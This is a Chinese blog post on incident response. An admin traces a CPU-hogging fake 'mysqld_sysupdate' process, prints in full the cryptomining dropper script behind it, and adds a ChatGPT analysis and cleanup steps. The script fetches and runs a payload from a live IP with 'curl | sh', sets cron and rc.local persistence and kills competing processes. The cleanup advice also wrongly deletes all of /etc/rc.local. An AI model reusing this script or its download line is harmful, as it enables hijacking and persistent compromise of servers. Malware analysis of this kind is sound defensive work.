使用AI工具来找出服务器被黑的恶意代码
-
最近发现服务器的CPU经常被占满,一开始还以为服务器被攻击了,结果等了一个星期还是这样,我不得不再审视一下这个问题了
1、首先可以使用top命令查看,是哪个进程在大量消耗CPU,或者用finalshell直接可以看
mysqld_sysupdat这个进程把CPU占满了,这个进程不是mysql的吧,可能是个病毒伪装的程序
cd /proc/$PID/fd(会看见文件描述符)
得到文件描述符指向的实际文件,即当前进程打开的文件
2、打开该目录,发现在有2个文件
文件内容是
*/15 * * * * curl -k -fsSL http://23.94.139.145/mysql_check.sh | sh */15 * * * * curl -k -fsSL http://23.94.139.145/mysql_check.sh | sh
这个文件的目的是每15分钟定时执行下载mysql_check.sh这个文件并执行
3、我们下载这个mysql_check.sh脚本,并打开得到如下恶意代码:
#!/bin/bash export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin FILE_CC_SERVER="23.94.139.145" mysqld_check() { if [ -f "/tmp/mysqld_sysupdate" -a -f "/tmp/config.json" ];then mysqld_sysupdate=`ps -ef|grep "mysqld_sysupdate"|grep -v grep | wc -l` if [ $mysqld_sysupdate -eq 0 ];then pkill mysqld_sysup pkill mysqld_sysupdate killall mysqld_sysupdate kill_sus_proc cron cd /tmp chmod 777 mysqld_sysupdate ./mysqld_sysupdate fi else cd /tmp rm -rf mysqld_sysupdate rm -rf mysqld_sysupdate.* rm -rf config.json.* $WGET http://$FILE_CC_SERVER/mysqld_sysupdate $WGET http://$FILE_CC_SERVER/config.json fi sleep 5 mysqld_check } cron() { crontab -l | grep [m]ysql_check.sh if [ $? -ne 0 ];then chattr -R -i /var/spool/cron chattr -i /etc/crontab (crontab -l ; echo "*/15 * * * * curl -k -fsSL http://23.94.139.145/mysql_check.sh | sh") | crontab - chattr -R +i /var/spool/cron chattr +i /etc/crontab fi cat /etc/rc.local | grep [m]ysql_check.sh if [ $? -ne 0 ];then echo "curl -k -fsSL http://23.94.139.145/mysql_check.sh | sh" >> /etc/rc.local chmod 777 /etc/rc.local fi } kill_sus_proc() { ps axf -o "pid"|while read procid do ls -l /proc/$procid/exe | grep /tmp if [ $? -ne 1 ] then cat /proc/$procid/cmdline| grep -a -E "mysqld_sysupdate" if [ $? -ne 0 ] then kill -9 $procid else echo "don't kill" fi fi done ps axf -o "pid %cpu" | awk '{if($2>=40.0) print $1}' | while read procid do cat /proc/$procid/cmdline| grep -a -E "mysqld_sysupdate" if [ $? -ne 0 ] then kill -9 $procid else echo "don't kill" fi done } kill_sus_proc cron if [ -s /bin/wget ]; then WGET="/bin/wget --no-check-certificate"; elif [ -s /usr/bin/wget ]; then WGET="/usr/bin/wget --no-check-certificate"; elif [ -s /usr/sbin/wget ]; then WGET="/usr/sbin/wget --no-check-certificate"; elif [ -s /usr/local/bin/wget ]; then WGET="/usr/local/bin/wget --no-check-certificate"; elif [ -s /bin/curl ]; then WGET="/bin/curl -k -O"; elif [ -s /usr/bin/curl ]; then WGET="/usr/bin/curl -k -O"; elif [ -s /usr/sbin/curl ]; then WGET="/usr/sbin/curl -k -O"; elif [ -s /usr/local/bin/curl ]; then WGET="/usr/local/bin/curl -k -O"; fi cron_process=`ps -ef|grep "mysqld_sysupdate"|grep -v grep | wc -l` if [ $cron_process -ne 0 ];then exit fi mysqld_check
4、我们使用AI工具chatgpt试着来分析一下这段恶意代码的功能
分析该恶意 Bash 脚本
该脚本的主要目的是在受害者的系统上下载并运行恶意程序,并且设置持久化以确保恶意程序不会被轻易移除。
恶意行为
恶意文件下载与执行
目标服务器
23.94.139.145
(可能是攻击者的 C&C 服务器)。从该服务器下载
mysqld_sysupdate
和config.json
,并执行mysqld_sysupdate
。代码:
WGET http://$FILE_CC_SERVER/mysqld_sysupdate$WGET http://$FILE_CC_SERVER/config.jsonchmod 777 mysqld_sysupdate ./mysqld_sysupdate
创建
cron
任务,定时下载并执行恶意脚本每 15 分钟下载
mysql_check.sh
并执行:(crontab -l ; echo "*/15 * * * * curl -k -fsSL http://23.94.139.145/mysql_check.sh | sh") | crontab -
这样即使系统重启,恶意代码仍会被执行。
修改
/etc/rc.local
,实现开机自启动在
/etc/rc.local
添加恶意脚本:echo "curl -k -fsSL http://23.94.139.145/mysql_check.sh | sh" >> /etc/rc.localchmod 777 /etc/rc.local
进程管理与隐藏
检测并终止非
mysqld_sysupdate
进程(可能是挖矿或其他恶意进程):kill_sus_proc()
杀死
/tmp
目录下的可疑进程,防止其他恶意软件干扰。检测并保持自身运行
如果
mysqld_sysupdate
进程被终止,则重新启动:if [ $mysqld_sysupdate -eq 0 ];then pkill mysqld_sysup pkill mysqld_sysupdate killall mysqld_sysupdate kill_sus_proc cron cd /tmp chmod 777 mysqld_sysupdate ./mysqld_sysupdatefi
恶意代码可能的用途
加密货币挖矿:
由于该脚本会不断检查
mysqld_sysupdate
是否运行,并终止其他高 CPU 进程,这很可能是一个加密货币挖矿恶意软件。DDoS 僵尸网络:
mysqld_sysupdate
可能用于控制受害者的计算机并发动 DDoS 攻击。后门程序:
该脚本建立了持久化访问方式,可能允许攻击者远程执行命令。
如何清除该恶意脚本?
终止恶意进程
pkill -9 mysqld_sysupdate pkill -9 mysql_check.sh
删除恶意文件
rm -rf /tmp/mysqld_sysupdate /tmp/config.json /etc/rc.local
清理定时任务
crontab -l | grep -v "mysql_check.sh" | crontab -
检查
/etc/rc.local
并删除恶意条目sed -i '/mysql_check.sh/d' /etc/rc.local
重启系统
reboot
如何预防此类攻击?
更新系统和软件,避免已知漏洞被利用。
限制
/tmp
目录的执行权限:mount -o remount,noexec /tmp
安装安全工具(如 Fail2Ban、防火墙):
sudo apt install ufw sudo ufw enable
这段代码明显是恶意的,建议尽快清理并加强系统安全措施!
推荐阅读
- 上一篇: CentOS查看进程关联的文件的详解
- 下一篇:
文章标签:
版权声明: 本文除特别说明外均由 麒麟在线 原创
本文链接: https://www.70ol.com/jishu/256.html,尊重共享,欢迎转载,请自觉添加本文链接,谢谢!
分享本文: 请填写您的分享代码。
呃 本文暂时没人评论 来添加一个吧
发表评论